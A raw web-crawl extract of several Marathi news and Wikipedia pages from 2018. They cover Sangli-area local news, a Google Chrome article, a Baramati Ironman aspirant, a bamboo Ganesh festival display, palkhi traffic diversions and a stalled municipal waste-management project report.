कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00201.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/sangli/page/7", "date_download": "2018-09-25T17:14:43Z", "digest": "sha1:MFHACI5MBRD7XPUWYGK7ET7JFSXPWWRK", "length": 10064, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "सांगली Archives - Page 7 of 341 - तरुण भारत | तरुण भारत", "raw_content": "\nमिरजेत लाच घेताना वाहतूक पोलिसाला अटक\nप्रतिनिधी/ मिरज लाकुड वाहतुकीचा टेम्पो सोडण्यासाठी पाच हजार रुपयांची लाच मागणाऱया मिरज वाहतूक पोलीस शाखेतील पोलिस नाईक महेश पोपट कांबळे याला लाच स्विकारताना लाचलुचपत प्रतिबंधक विभागाच्या पथकाने मंगळवारी रंगेहाथ पकडले. तक्रारदार याचा लाकुड वाहतुकीचा टेम्पो रविवारी मिरज वाहतूक पोलीस शाखेचे पोलीस नाईक महेश कांबळे याने अडविला होता. टेंपावर कारवाई न करण्यासाठी त्यांनी पाच हजार रुपयांची मागणी केली होती. त्यावेळी ...Full Article\nजिल्हय़ात बंदला संमिश्र प्रतिसाद\nप्रतिनिधी/ सांगली इंधन दरवाढीविरोधात काँग्रेसने सोमवारी पुकारलेल्या भारत बंदला जिह्यात संमिश्र प्रतिसाद मिळाला. प्रमुख विरोधी पक्ष असलेल्या काँग्रेसबरोबर इतर 22 पक्षांनीही या बंदमध्ये सहभाग घेतला होता. सांगली शहरातून कॉंग्रेसच्यावतीने ...Full Article\nस्वीकृत नगरसेवकपदी इनामदार, कांबळे, सावर्डेकर, बारगीर, मेस्त्राr\nप्रतिनिधी/ सांगली महापालिकेच्या स्वीकृत नगरसेवकांच्या निवडी सोमवारच्या महासभेत पार पडल्या. भाजपाकडून शेखर इनामदार यांच्यासह खासदार गटाचे रणजित सावर्डेकर, आरपीआयचे विवेक कांबळे यांना संधी दिली. तर काँग्रेस आणि राष्ट्रवादीने मुस्लीम ...Full Article\nबँकेच्या सभेत ‘शिक्षक’ एकमेकांच्या उरावर\nपाच मिनिटात सभा गुंडाळली : गोंधळात 13 विषय मंजूर प्रतिनिधी/ सांगली शिक्षक दिनाच्या सत्काराची फुले सुकायच्या आतच प्राथमिक शिक्षक बँकेच्या सर्वसाधारण सभेत शिक्षकांनी हाणामारीची ‘फुले’ उधळली. एकमेकांचा अर्वाच्च उद्धार ...Full Article\nअनिकेत कोथळे खून प्रकरणी आज सुनावणी\nविशेष सरकारी वकील उज्ज्वल निकम यांची उपस्थिती प्रतिनिधी/ सांगली अनिकेत कोथळे खून प्रकरणी आरोप निश्चितीसाठी सोमवारी जिल्हा न्यायालयात सुनावणी होणार आहे. बडतर्फ पोलीस उपनिरीक्षक युवराज कामटे यांच्यासह सात आरोपींचा ...Full Article\nतीन वेगवेगळ्या अपघातात तिघे ठार तर दोघे जखमी\nप्रतिनिधी/ मोहोळ/कुर्डुवाडी जिह्यातील तीन वेगवेगळ्या ठिकाणी झालेल्या तीन अपघातात तीन जणांचा मृत्यू तर दोन जण गंभीर जखमी झाले. त्यामध्ये मोहोळ तालुक्यातील अंकोली येथे बैलपोळा सणाच्या दिनानिमित्त शेतातील देवाला नैवेद्य ...Full Article\nटेंभूच्या पाण्यासाठी सांगली पाटबंधारे कार्यालयासमोर बुधवारपासून ठिय्या\nप्रतिनिधी/ सांगोला श्रमिक मुक्ती दलाचे अध्यक्ष डॉ. भारत पाटणकर व आनंदराव पाटील यांच्या नेतृत्वाखाली सांगोला तालुक्यातील बुध्देहाळ तलाव लाभक्षेत्रातील शेतकऱयांचे टेंभूचे पाणी मिळविण्यासाठी सांगली पाटबंधारे कार्यालयावर बुधवार 12 सप्टेंबरपासून ...Full Article\nस्वच्छ भारत सर्वेक्षण : सोलापूर जिल्हा परिषदेचा राज्यस्तरीय पुरस्काराने गौरव\nप्रतिनिधी/ सोलापूर स्वच्छ भारत सर्वेक्षण 2018 मध्ये सोलापूर जिल्हा परिषदेने देशात व राज्यात दुसरा क्रमांक पटकावल्याबद्दल तसेच संत गाडगेबाबा ग्रामस्वच्छता अभियानांतर्गत जिह्यातील पाडळी, भागाईवाडी, सुस्ते व निमगाव ग्रामपंचायतीचा आज ...Full Article\nमहाडीकांच्या ‘गोविंदा’चा शिराळा विधानसभेच्या दहीहंडीवर डोळा \nयुवराज निकम / इस्लामपूर पेठनाक्याच्या महाडिकांचा गोविंदा तथा सम्राट महाडीक हे बेरकी आहेत. अल्प वयात राजकीय खेळी करण्यात ते पारंगत बनले आहेत. त्यातूनच त्यांनी पहिल्यांदा पेठ जिल्हा परिषदेची जीत ...Full Article\nबनावट नोटांच्या तपासासाठी एटीएसचे पथक सांगलीत\nपाळेमुळे खणून काढण्यासाठी यंत्रणेचे जोरदार प्रयत्न प्रतिनिधी/ सांगली सांगलीत पकडण्यात आलेल्या बनावट नोटा खपवणाऱया टोळीच्या मुळापर्यंत जाण्याचा प्रयत्न सुरून या प्रकरणाच्या तपासासाठी दहशतवाद विरोधी पथक (एटीएस) सांगलीत दाखल झाले ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00201.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%97%E0%A5%82%E0%A4%97%E0%A4%B2_%E0%A4%95%E0%A5%8D%E0%A4%B0%E0%A5%8B%E0%A4%AE", "date_download": "2018-09-25T16:38:53Z", "digest": "sha1:5DMAWVCFSGN2LA2ML4RZVMUAG2MSRDI7", "length": 8578, "nlines": 213, "source_domain": "mr.wikipedia.org", "title": "गूगल क्रोम - विकिपीडिया", "raw_content": "\n०.२.१४९ (सप्टेंबर २, २००८)\n९.०.५९७.१०७ (फेब्रुवारी २८, २०११)\n१०.०.६४८.११९ (बीटा) (फेब्रुवारी २४, २०११)\n११.०.६८६.१ (विकासक) (मार्च १, २०११)\nमॅक ओएस एक्स (१०.५+, फक्त इंटेल)\nगूगल क्रोम टर्म्स ऑफ सर्विसेस\nवेबकिट: बीएसडी / एलजीपीएल\nगूगल क्रोम गूगल या कंपनीचा क्रोम (Google Chrome) हा न्याहाळक आहे.\nया मध्ये टॅब [मराठी शब्द सुचवा] हीच न्याहाळकची पहिली पायरी आहे. इतर न्याहाळक जसे विंडोज एक्सप्लोरर मध्ये तसे नाही क्रोममध्ये प्रत्येक टॅब स्वतंत्र प्रक्रियेमध्ये टाकला आहे.\nया मध्ये बहुपेडी नसून बहुप्रक्रियन केले आहे. त्यामुळे रोसोर्स अलोकेशनचे (मेमरी) ओव्हरहेड [मराठी शब्द सुचवा] वाढले असले तरी स्वतंत्र प्रक्रिया - प्रत्येक टॅबमधील पानाच्या माहितीचे आणि त्यातील क्रियांचे स्वातंत्र्य वाढले आहे. याचा फायदा म्हणजे एका टॅबमधील प्रक्रिया थांबली अथवा अडकली तरी संपूर्ण न्याहाळक अडकत नाही. तसेच त्यामुळे स्मृतीमधील तुरळक फुटक्या कणांचा कचरा साठत नाही. (मेमरी लीक)\nक्रोममध्ये फिशिंग [मराठी शब्द सुचवा] /मालवेअर [मराठी शब्द सुचवा] /ऑटोएक्झिक्यूट [मराठी शब्द सुचवा] या गोष्टींवर नियंत्रण आहे.\nन्याहाळक % (क्रोम) % (एकूण)\nगूगल क्रोम १ ०.०४% ०.०१%\nगूगल क्रोम २ ०.१७% ०.०४%\nगूगल क्रोम ३ ०.३५% ०.०६%\nगूगल क्रोम ४ ०.२१% ०.०५%\nगूगल क्रोम ५ ०.६३% ०.१५%\nगूगल क्रोम ६ ०.९२% ०.२२%\nगूगल क्रोम ७ ०.५०% ०.१२%\nगूगल क्रोम ८ ०.६३% ०.१५%\nगूगल क्रोम ९ ०.५९% ०.१४%\nगूगल क्रोम १० १.५५% ०.३७%\nगूगल क्रोम ११ १.६४% ०.३९%\nगूगल क्रोम १२ ३.१९% ०.७६%\nगूगल क्रोम १३ ८६.९४% २०.७%\nगूगल क्रोम १४ १.८५% ०.४४%\nगूगल क्रोम १५ ०.६३% ०.१५%\nजूने चित्र-वाक्यविन्यास वापरणारी पाने\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल १५ नोव्हेंबर २०१७ रोजी १७:०८ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00201.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://amp.esakal.com/pune/guy-baramati-prepares-iron-man-global-competition-111449", "date_download": "2018-09-25T16:44:50Z", "digest": "sha1:SJAKCY2LZCBPM7XMTU4GL3ZP5JF4GTEJ", "length": 9585, "nlines": 55, "source_domain": "amp.esakal.com", "title": "guy from baramati prepares for iron man global competition 'आयर्नमॅन' या जागतिक स्पर्धेसाठी बारामतीच्या तरुणाची तयारी | eSakal", "raw_content": "\n'आयर्नमॅन' या जागतिक स्पर्धेसाठी बारामतीच्या तरुणाची तयारी\nसकाळ वृत्तसेवा | रविवार, 22 एप्रिल 2018\nबारामती - जगातील नामांकीत स्पर्धा समजल्या जाणाऱ्या आयर्नमॅन या स्पर्धेसाठी बारामतीचा एक ध्येयवेडा गेल्या वर्षभरापासून तयारी करत आहे. या स्पर्धेत तो मराठी या नात्याने सहभागी होत या स्पर्धेचे विजेतेपद प्राप्त करण्यासाठी झगडणार आहे.\nसतीश रामचंद्र ननवरे असे या बारामतीकराचे नाव आहे. येत्या जुलै महिन्यात ऑस्ट्रिया या देशात ही स्पर्धा होणार आहे. जलतरण, धावणे व सायकलींग अशा तीन प्रकारात ही स्पर्धा होते. चार किमी. पोहणे, 180 कि.मी. सायकल चालविणे व 42 कि.मी. धावणे अशा तीन स्पर्धा लागोपाठ पूर्ण करुन त्यात यश मिळविण्याचे आव्हान सतीश ननवरे याने स्विकारले आहे.\nबारामती - जगातील नामांकीत स्पर्धा समजल्या जाणाऱ्या आयर्नमॅन या स्पर्धेसाठी बारामतीचा एक ध्येयवेडा गेल्या वर्षभरापासून तयारी करत आहे. या स्पर्धेत तो मराठी या नात्याने सहभागी होत या स्पर्धेचे विजेतेपद प्राप्त करण्यासाठी झगडणार आहे.\nसतीश रामचंद्र ननवरे असे या बारामतीकराचे नाव आहे. येत्या जुलै महिन्यात ऑस्ट्रिया या देशात ही स्पर्धा होणार आहे. जलतरण, धावणे व सायकलींग अशा तीन प्रकारात ही स्पर्धा होते. चार किमी. पोहणे, 180 कि.मी. सायकल चालविणे व 42 कि.मी. धावणे अशा तीन स्पर्धा लागोपाठ पूर्ण करुन त्यात यश मिळविण्याचे आव्हान सतीश ननवरे याने स्विकारले आहे.\nगेल्या वर्षापासून तो या तिन्ही प्रकारासाठी दररोज पाच तासांचा सराव तो करतो आहे. पुणे बारामती असे अंतर सायकलवरुन त्याने अनेकदा पूर्ण केलेले आहे. स्वताःचा पब्लिसिटीचा व्यवसाय सांभाळून त्याचा हा सराव सुरु आहे. पंचक्रोशीतून अशा स्पर्धेसाठी जाणारा तो पहिलाच ठरणार आहे.\nशारिरीक व मानसिक संतुलन राखत निराश न होता प्रचंड मेहनत यासाठी करावी लागते, अत्यंत खडतर अशी ही स्पर्धा समजली जाते, त्यासाठी शारिरीक क्षमतेचा कस यात लागतो, कोणत्याही प्रकारची शारिरीक इजा होऊ न देता हा सराव पूर्ण करण्याचे काम त्याने केलेले आहे.\nराज्याच्या ग्रामीण भागातून ऑस्ट्रियाला जाणारा सतीश हा पहिलाच ठरणार आहे. सोळा तासात ही स्पर्धा पूर्ण केल्यास प्रमाणपत्र व किताब बहाल केला जातो. हे लक्ष्य दहा तासाच पूर्ण करण्याचे उद्दीष्ट निश्चित करुन सतीशचा सराव सुरु आहे. दहा तासात या तिन्ही स्पर्धा पूर्ण करुन भारतातील पहिला आयर्नमॅन होण्याचे स्वप्न साकारण्याचा सतीशचा प्रयत्न आहे. त्या दृष्टीने त्याचा सराव सुरु आहे. कोल्हापूरचे अश्विन भोसले व बारामतीचे सुभाष बर्गे यांचे त्याला मार्गदर्शन मिळते आहे.\nपुणे - एकीकडे हजारो नागरिक आपल्या लाडक्‍या बाप्पाला निरोप देत होते; पण दुसरीकडे कोणी मिरवणूक पाहायला येणाऱ्या भक्तांना अन्नवाटप करत होते, तर कोणी...\nसहकारच्या प्रधान सचिवांना निष्काळजीपणा भोवला; खंडपीठाने काढली नोटीस\nऔरंगाबाद : कार्यालयीन कर्तव्ये पार पाडताना विलंब व निष्काळजीपणा केल्याबद्दल राज्याच्या सहकार विभागाच्या प्रधान सचिवांना नोटीस काढण्यात आली. सहकार...\nउद्योजक होण्यासाठी कौशल्य, तांत्रिक ज्ञान, व्यावसायिक वृत्ती आवश्यक\nसटाणा : उद्योग क्षेत्रात करिअर करतांना प्रत्येकाने आवडीनुसार उद्योग निवडावा, अन्यथा उद्योग व्यवसायात मन लागत नाही. आवडीप्रमाणे उद्योगात संधी किती...\nयुवकांनी नवनवीन शेतीपुरक व्यवसाय सुरु करावेत : आ. भरणे\nवालचंदनगर (पुणे) : युवकांनी आधुनिक तंत्रज्ञानाची कास धरुन नवनवीन शेती पुरक व्यवसाय सुरु करण्यासाठी प्रयत्न करण्याचे आवाहन आमदार दत्तात्रेय भरणे...\nकाव्यगायन स्पर्धेत अनुराग जगदाळे प्रथम\nकाव्यगायन स्पर्धेत अनुराग जगदाळे प्रथम\nनिजामपूर-जैताणे (धुळे) : येथील जवाहरलाल सार्वजनिक वाचनालयात वाचनालयाचे अध्यक्ष नयनकुमार शाह यांच्या मातोश्री व माजी सरपंच अजितचंद्र शाह यांच्या...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00202.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/ganesh-festival/ganesh-festival-decoration-made-bamboo-143825", "date_download": "2018-09-25T17:38:32Z", "digest": "sha1:JOJFJ76DHXLTJWR4AVYXXRE7RRR6KFD5", "length": 13076, "nlines": 179, "source_domain": "www.esakal.com", "title": "Ganesh Festival decoration made from Bamboo Ganesh Festival : बांबूच्या वस्तूंपासून गणेशाची आरास | eSakal", "raw_content": "\nGanesh Festival : बांबूच्या वस्तूंपासून गणेशाची आरास\nशनिवार, 15 सप्टेंबर 2018\nरत्नागिरी - प्लास्टिकला बांबूच्या वस्तूंचा पर्याय ठरू शकतो, असा संदेश देणारा देखावा धनावडेवाडी (कारवांचीवाडी) येथील संजय व गणेश धनावडे यांनी साकारला आहे. प्लास्टिक आणि थर्माकोलवरील बंदीमुळे पर्यावरण पूरक असा हा देखावा सर्वांसाठी आदर्शवत आहे.\nरत्नागिरी - प्लास्टिकला बांबूच्या वस्तूंचा पर्याय ठरू शकतो, असा संदेश देणारा देखावा धनावडेवाडी (कारवांचीवाडी) येथील संजय व गणेश धनावडे यांनी साकारला आहे. प्लास्टिक आणि थर्माकोलवरील बंदीमुळे पर्यावरण पूरक असा हा देखावा सर्वांसाठी आदर्शवत आहे.\nगणेशोत्सव साजरा करतानाच सामाजिक संदेश लोकांपर्यंत पोचावेत अशी ओळख धनावडे कुटुंबीयांची आहे. पर्यावरणाला घातक ठरणाऱ्या प्लास्टिकवर बंदी घालण्याचा निर्णय शासनाने घेतला. प्लास्टिक बंदी केली. मात्र त्याला पर्याय काय हे या संदेशातून सुचविले आहे. गावागावात आढळणारा बांबू हा दुर्लक्षितच आहे. त्यापासून तयार केलेल्या विविध प्रकारच्या वस्तू दैनंदिन वापरासाठी उपयुक्‍त ठरतात. यामधून स्थानिक लोकांना रोजगाराचेही साधन निर्माण होणार आहे. त्यादृष्टीने शासनाने बांबू लागवडीला प्रोत्साहन दिले आहे. घरात वापराची भांडी, खुर्च्या प्लास्टिकच्या असतात. त्याऐवजी बांबूच्या वस्तूंचा वापर करता येतो, हे देखाव्यात दिसते.\nयासाठी धनावडेंनी 35 बाबूंचा वापर केला आहे. बाबू लागवड, रोवळी, सूप, डोलारे, टोपल्या, फुलदाणी, रोवळी, आंबे काढण्याचे घळ, ईरले, गुढीसाठीचे चित्र, बांबूचा वापर केलेल्या झोपड्या, मासे व खेकडे पकडण्यासाठीचे कोयनी, बाक व पलंग या वस्तू ठेवल्या असून त्याचा उपयोग दर्शविणारे फलक लावले आहेत. बांबूची लागवड कशी करावी,याची माहितीही दिली आहे. थर्माकोलवरील बंदीमुळे गणपतीच्या मखरासाठी पर्याय म्हणून त्यांनी बांबूच्या वस्तू वापरल्या आहेत.\nगेली बारा वर्षे सतत काही ना काही सामाजिक संदेश धनावडे कुटुंबीय गणेशोत्सवाच्या माध्यमातून देत आहेत. यावर्षी प्लास्टिक बंदीला पर्याय दर्शविणारा हा उपक्रम लोकांना माहिती देणारा आहे.\nAsia Cup : धोनी भारताचा पुन्हा 'कर्णधार'\nदुबई : आशिया करंडक स्पर्धेत अफगाणिस्तानविरुद्धच्या सामन्यात भारताचा माजी कर्णधार महेंद्रसिंह धोनीला पुन्हा कर्णधारपदाची जबाबदारी देण्यात आली आहे....\nओतूरला सहा ट्रॉली निर्माल्याचे संकलन\nओतूर - ता.जुन्नर येथे गणेशोत्सवा दरम्यान आयोजित निर्माल्य संकलन उपक्रमास नागरकांकडून मोठा प्रतिसाद मिळाला असुन गणपती विसर्जन काळात तब्बल सहा ट्रॉली...\nकोहलीचा 'विराट ट्रेलर' प्रदर्शित (व्हिडिओ)\nनवी दिल्ली : क्रिकेटच्या दुनियेतील बादशहा भारताचा कर्णधार विराट कोहली आता अभिनयाच्या क्षेत्रातही पदार्पण करण्याच्या तयारीत आहे की काय असा प्रश्न...\nडॉ. नानासाहेब धर्माधिकारी प्रतिष्ठानतर्फे निर्माल्यापासून खतनिर्मिती\nकऱ्हाड : येथील डॉ. नानासाहेब धर्माधिकारी प्रतिष्ठानतर्फे निर्माल्यापासून खतनिर्मिती राबविण्यासाठी शहरासह पाचवड येथे तीन टन निर्माल्य जमा केले. येथील...\nतुळजाभवानीचा पलंग जुन्नरहून तुळजापूरकडे मार्गस्थ\nजुन्नर - दहा दिवसांच्या वास्तव्यानंतर पारंपारिक वाद्याच्या गजरात, भंडारा-खोबऱ्याची उधळण करीत श्री तुळजाभवानी मातेचे पलंग आज मंगळवारी ता.25 रोजी...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00202.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/pune-wari/saathchal-wari-palkhi-timetable-2018-transport-changes-yavat-129220", "date_download": "2018-09-25T17:27:37Z", "digest": "sha1:5ZLNJR3EATN3FIIIEOCP3UE4QVJ5GQXL", "length": 12425, "nlines": 185, "source_domain": "www.esakal.com", "title": "#SaathChal Wari Palkhi Timetable 2018 Transport Changes yavat #SaathChal पालखीमुळे यवत हद्दीतील वाहतुकीत उद्यापासून बदल | eSakal", "raw_content": "\n#SaathChal पालखीमुळे यवत हद्दीतील वाहतुकीत उद्यापासून बदल\nसोमवार, 9 जुलै 2018\nयवत - संत तुकाराम महाराज पालखी सोहळा १० व ११ जुलै रोजी यवत पोलिस स्टेशनच्या हद्दीतून जात आहे. या काळात पुणे-सोलापूर महामार्गावरील वाहतुकीत बदल करण्यात आला आसून, नागरिकांनी त्याची दखल घ्यावी, असे आवाहन यवत पोलिसांनी केले आहे.\nयवत - संत तुकाराम महाराज पालखी सोहळा १० व ११ जुलै रोजी यवत पोलिस स्टेशनच्या हद्दीतून जात आहे. या काळात पुणे-सोलापूर महामार्गावरील वाहतुकीत बदल करण्यात आला आसून, नागरिकांनी त्याची दखल घ्यावी, असे आवाहन यवत पोलिसांनी केले आहे.\nसंत तुकाराम महाराज पालखी सोहळ्याचा १० जुलै रोजी यवत येथे, तर ११ रोजी वरवंड येथे मुक्काम आहे. या काळात पुणे-सोलापूर महामार्गावरील वाहतूक इतरत्र वळविण्यात आली आहे. ८ ते १० जुलै रोजी सोलापूरहून पुण्याकडे जाणाऱ्या वाहनांनी केडगाव-चौफुला येथून पारगाव-शिरूरमार्गे पुणे या रस्त्याचा वापर करावा, तर ११ व १२ जुलै रोजी कुरकुंभ, दौंड, काष्टी, तांदळी, न्हावरा, शिरूरमार्गे पुणे\nअशा पर्यायी मार्गाचा वापर करावा, असे आवाहन करण्यात आले आहे. पुणे-सोलापूर महामार्गाने प्रवास करण्यात नागरिकांना येत असलेल्या अडचणी काही प्रमाणात दूर व्हाव्यात, यासाठी रेल्वेने काही जलद गाड्यांना यवत, केडगाव व पाटस येथे विशेष थांबा देण्याचे नियोजन रेल्वे प्रशासनाने केले आहे, अशी माहिती रेल्वे प्रवासी ग्रुपचे कार्याध्यक्ष प्रमोद उबाळे यांनी दिली. ९ ते ११ जुलै या तीन दिवसांसाठी जलद गाड्या या तीन रेल्वे स्थानकांवर थांबविण्यात येणार आहेत. दौंडचे आमदार राहुल कुल यांनी रेल्वे प्रशासनास तशी विनंती केली होती. सहायक चालक प्रबंधक सुरेश जैन यांनी त्यास प्रतिसाद दिल्याने प्रवाशांसाठी ही सुविधा उपलब्ध झाल्याचे उबाळे यांनी सांगितले.\nसंत तुकाराम महाराज पालखी\nसंत ज्ञानेश्वर महाराज पालखी\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00202.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Muncipal-Corporations-DPR-stuck-due-to-dozens-of-errors/", "date_download": "2018-09-25T17:10:53Z", "digest": "sha1:OTVWKQL6BSZBZHTWETGJAJZTA4APBMEN", "length": 8610, "nlines": 37, "source_domain": "www.pudhari.news", "title": " डझनभर त्रुटींमुळे रखडला मनपाचा डीपीआर! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › डझनभर त्रुटींमुळे रखडला मनपाचा डीपीआर\nडझनभर त्रुटींमुळे रखडला मनपाचा डीपीआर\nशहरातील घनकचरा व्यवस्थापन विषयक कामांसाठी स्वच्छ महाराष्ट्र अभियानांतर्गत महापालिकेने शासनाकडे सादर केलेला सुमारे 35 कोटींचा प्रकल्प अहवाल अद्यापही रखडला आहे. शासनाने यात डझनभर त्रुटी काढल्या असून त्याच्या पूर्ततेसह पुन्हा प्रकल्प अहवाल सादर करण्याचे आदेश अभियान संचालक डॉ. उदय टेकाळे यांनी दिले आहेत. दरम्यान, लिटरबिन्स व ढकलगाड्यांचा अहवालात समावेश करु नये, असेही त्यांनी बजावले आहे.\n14 व्या वित्त आयोगांतर्गत घनकचरा व्यवस्थापनासाठी देण्यात आलेल्या निधीमधून सर्रास वाहन व साहित्यांची खरेदी होत असल्याने शासनाने या निधीच्या वापरासाठी निर्बंध घातले आहेत. महापालिकांनी घनकचरा व्यवस्थापनासाठी आवश्यक असलेल्या उपाययोजना व त्यासाठी लागणारी वाहने, साहित्य, प्रकल्प याबाबत सविस्तर प्रकल्प अहवाल तयार करुन त्याला शासनाची मंजुरी घ्यावी. मंजूर प्रकल्प अहवालानुसारच नियोजनबध्दरित्या वित्त आयोगाच्या निधीचा वापर करावा, असे आदेश शासनाने दिले होते. त्यानुसार महापालिकेने खासगी संस्थेकडून हा डीपीआर तयार करुन घेतला आहे. यात सुमारे 35 कोटींच्या कामांचा समावेश असल्याचे सांगण्यात आले.\nमहापालिकेने शासनाकडे सादर केलेल्या डीपीआरची तपासणी होऊन यात अनेक त्रुटी काढण्यात आल्या आहेत. तसेच नव्याने माहितीही मागविण्यात आली आहे. शहरात कचर्‍याचे विलगीकरण कशा\n याचे नियोजन अहवालात देण्यात आलेले नाही. मनपाला घनकचरा संकलनासाठी किती वाहने आवश्यक आहेत, सध्या मनपाकडे किती आहेत किती व कोणती कमी आहेत, याची सविस्तर माहिती, तसेच मनपाने प्रस्तावित केलेले दर 2017 चे असल्याने 2018 ची दरसूची सादर करावी. शहरात 100 किलोपेक्षा अधिक कचरा निर्माण करणार्‍यांनी स्वतःच ओल्या कचर्‍याची विल्हेवाट लावणे कायद्यानुसार बंधनकारक आहे. नगरमध्ये अशा किती जागा आहेत किती व कोणती कमी आहेत, याची सविस्तर माहिती, तसेच मनपाने प्रस्तावित केलेले दर 2017 चे असल्याने 2018 ची दरसूची सादर करावी. शहरात 100 किलोपेक्षा अधिक कचरा निर्माण करणार्‍यांनी स्वतःच ओल्या कचर्‍याची विल्हेवाट लावणे कायद्यानुसार बंधनकारक आहे. नगरमध्ये अशा किती जागा 